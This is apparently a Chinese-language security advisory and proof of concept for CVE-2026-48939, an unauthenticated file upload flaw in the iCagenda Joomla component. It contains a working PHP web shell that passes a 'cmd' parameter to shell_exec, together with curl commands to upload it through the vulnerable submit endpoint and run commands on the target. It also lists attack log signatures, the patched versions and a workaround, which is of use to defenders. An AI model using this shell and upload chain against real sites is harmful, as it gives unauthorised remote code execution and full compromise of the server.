CVE-2026-48939 - iCagenda 未认证文件上传导致 RCE

概述

漏洞描述

iCagenda 是 Joomla 的一个热门活动与日历组件，其中存在一个未认证文件上传漏洞，允许远程攻击者在 Joomla 6 站点上上传并执行任意 PHP 代码。

技术细节

该漏洞存在于前端活动提交表单的文件附件功能中：

1. 缺少访问控制：提交端点（index.php?option=com_icagenda&task=registration.submit）未强制实施身份验证，从而绕过了“仅限注册用户”的访问设置。

2. 无文件验证：上传的文件以其原始扩展名保存，且不进行：

   • 扩展名白名单验证
   • MIME 类型验证
   • 文件内容检查

3. 直接写入文件：文件被直接写入 Web 根目录下的 /images/icagenda/frontend/attachments/[filename]。

4. PHP 执行：在 Joomla 6 上，上传的 .php 文件可被执行，从而导致远程代码执行（RCE）。

概念验证（PoC）

方法一：使用 curl（单条命令）

# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
    echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF

# Upload the shell
curl -k -s \
  -F "title=Test Event" \
  -F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
  "https://poloss-jomola.ddev.site/icagenda_submit.php"

# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"

方法二：使用 PoC 脚本

# Navigate to project directory

# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site

利用步骤

1. 识别易受攻击的端点：

   root@kitploit:~

   https://target.com/index.php?option=com_icagenda&task=submit
   

2. 上传 PHP Web Shell：

   root@kitploit:~

   curl -X POST -F "jform[attachment][email protected]" \
     "https://target.com/index.php?option=com_icagenda&task=submit"
   

3. 执行 Shell：

   root@kitploit:~

   curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
   

影响

• 机密性：机密性完全丧失——攻击者可读取所有文件
• 完整性：完整性完全丧失——攻击者可修改所有数据
• 可用性：可用性完全丧失——攻击者可拒绝服务
• 远程代码执行：服务器被完全攻陷

攻击特征

基于真实世界的利用日志，攻击特征如下：

# Step 1: Upload
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"

# Step 2: Execute
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0

修复建议

1. 立即：将 iCagenda 更新至 4.0.8 版本（旧分支请更新至 3.9.15）
2. 替代方案：暂时删除或重命名 com_icagenda 文件夹
3. 注意：取消发布该组件并不能防御此漏洞

参考资料

• iCagenda 零日 RCE - mysites.guru
• iCagenda 官方网站
• 更新日志 4.0.8
• CISA ADP 公告

免责声明

本 PoC 仅用于教育和授权的安全测试目的。未经授权访问计算机系统属于违法行为。